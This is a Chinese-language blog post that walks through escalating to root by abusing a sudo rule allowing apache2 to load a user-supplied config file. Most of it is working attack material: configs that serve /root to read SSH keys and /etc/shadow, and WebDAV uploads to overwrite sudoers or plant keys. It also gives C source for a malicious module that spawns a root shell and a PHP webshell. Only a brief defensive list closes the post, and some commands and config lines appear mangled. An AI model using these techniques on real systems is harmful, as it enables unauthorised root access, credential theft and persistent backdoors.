Apache 配置文件提权的实战思考
在 Linux 系统中,如果普通用户被授予以 sudo
执行 Apache 并加载自定义配置文件的权限(如 sudo apache2 -f /home/user/user.conf
),那么该权限极可能被滥用为本地提权路径。
虽然 Apache 默认采用了更严格的权限限制机制(尤其是在脚本执行部分),但从服务功能层面看,它与 nginx 类似,也支持配置中实现任意文件读写、恶意模块注入、Web 服务开启等关键操作。因此,当攻击者具备这类配置能力,结合 Apache 的模块化和丰富功能,同样能实现一整条提权利用链。
🧷 sudo 权限前提
假设当前用户 mikannse
具有如下权限:
User mikannse may run the following commands:(root) NOPASSWD: /usr/sbin/apache2 -f /home/mikannse/mikannse.conf
等同于赋予攻击者以 root 身份加载任意 Apache 配置 的能力。
🎯 核心目标
我们的目标是利用这条权限完成:
- ✅ 任意文件读取(例如
/root/.ssh/id_rsa
、/etc/shadow
) - ✅ 任意文件写入(例如覆盖
/etc/passwd
、上传公钥、植入 suid 后门) - ✅ 执行自定义
.so
模块代码(即恶意模块加载) - ✅ 启动受控的 Web 服务(反弹 shell、内网持久化)
- ⚠️ 注意:直接通过 Apache 执行
php
或bash
并不能获得 root shell,因为 Apache worker 会降权。
1️⃣ 任意文件读取
思路:配置 Apache 静态文件服务,设置 DocumentRoot
为任意目录,包括 /root
、/etc
等。
ServerRoot "/tmp/apache"
PidFile /tmp/apache/httpd.pid
Listen 9999User root
Group rootDocumentRoot "/root"
<Directory "/root">Require all grantedOptions +Indexes
</Directory>
启动 Apache 后即可通过 HTTP 获取任意目录中文件:
sudo apache2 -f /home/mikannse/mikannse.conf
curl http://127.0.0.1:9999/.ssh/id_rsa
curl http://127.0.0.1:9999/.bash_history
🔧 注意事项:Apache 必须使用 User root
启动,才能访问受限目录内容(否则文件读取失败)。即使 worker 进程降权,root 主进程仍能完成初始文件打开操作。
2️⃣ 任意文件写入(PUT / POST)
开启 WebDAV 模块即可允许上传任意文件至指定路径,等同于拥有远程 write
权限。
LoadModule dav_module /usr/lib/apache2/modules/mod_dav.so
LoadModule dav_fs_module /usr/lib/apache2/modules/mod_dav_fs.soDocumentRoot "/tmp/web"
<Directory "/tmp/web">DAV OnOptions IndexesRequire all granted
</Directory>
启动:
mkdir -p /tmp/web
sudo apache2 -f /home/mikannse/mikannse.conf
上传:
curl -T /home/mikannse/rootme /tmp/web/rootme http://127.0.0.1:9999/rootme
然后你可以:
- 覆盖
/etc/sudoers
实现sudo
提权(需慎重) - 写入
root
公钥到/root/.ssh/authorized_keys
- 上传 suid 程序、定时任务文件,达成 root 反弹 shell
3️⃣ 恶意模块注入(.so)
与 nginx 一样,Apache 可通过 LoadModule
加载 .so
模块,只要你构造的是合法 Apache 模块格式,就可被 root 加载并执行构造函数中的任意命令。
模块示例(rootme.c
):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "httpd.h"
#include "http_config.h"static void pwn() __attribute__((constructor));static void pwn() {setuid(0); setgid(0);system("/bin/bash -p");
}module AP_MODULE_DECLARE_DATA rootme_module = {STANDARD20_MODULE_STUFF,NULL, NULL, NULL, NULL, NULL, NULL
};
编译模块:
apxs -c rootme.c
配置加载:
LoadModule rootme_module /home/mikannse/.libs/rootme.so
只要 Apache 以 root 启动,模块加载时会执行构造函数,直接获得 root shell。
4️⃣ 植入后门 + WebShell 控制
Apache 可用作后门 Web 服务:
DocumentRoot "/home/mikannse/www"
<Directory "/home/mikannse/www">Require all granted
</Directory>
DirectoryIndex shell.php
上传 WebShell:
<?php system($_GET['cmd']); ?>
访问:
curl "http://127.0.0.1:9999/shell.php?cmd=id"
⚠️ 若启用 php-fpm
,实际命令执行权限取决于 FPM 配置(通常非 root)。
🆚 与 Nginx 提权路径对比
利用方式 | Nginx | Apache | 是否能提权 |
---|---|---|---|
任意读文件 | ✅ | ✅ | ✅(root) |
任意写文件 | ✅ | ✅ | ✅(root) |
恶意模块加载 | ✅ | ✅ | ✅(root) |
PHP Shell 执行 | ✅ | ✅ | ⚠️(非 root) |
反向持久化服务 | ✅ | ✅ | ✅ |
🔐 防御建议
- 禁止
sudo
加载 Apache 配置文件,或使用白名单 wrapper 限制参数 - Apache 启动用户不应为 root(可强制降权)
- 不允许普通用户编译
.so
模块(移除apxs
,gcc
,make
) - 检查并限制 WebDAV、mod_cgi、mod_userdir 等高危模块
- 配置 AppArmor / SELinux 限制 Apache 文件访问范围
✅ 总结
Apache 的配置文件注入同 nginx 一样,当其以 root 启动并加载恶意配置文件时,就能构造完整提权链条。虽然 Apache 为避免子进程运行在 root 下进行了设计限制,但这不妨碍我们通过:
- 恶意模块构造
- 静态文件服务绕权限读文件
- 开启 WebDAV 实现任意写文件
- WebShell 持久化控制
达成本地 root 提权或横向打点目标。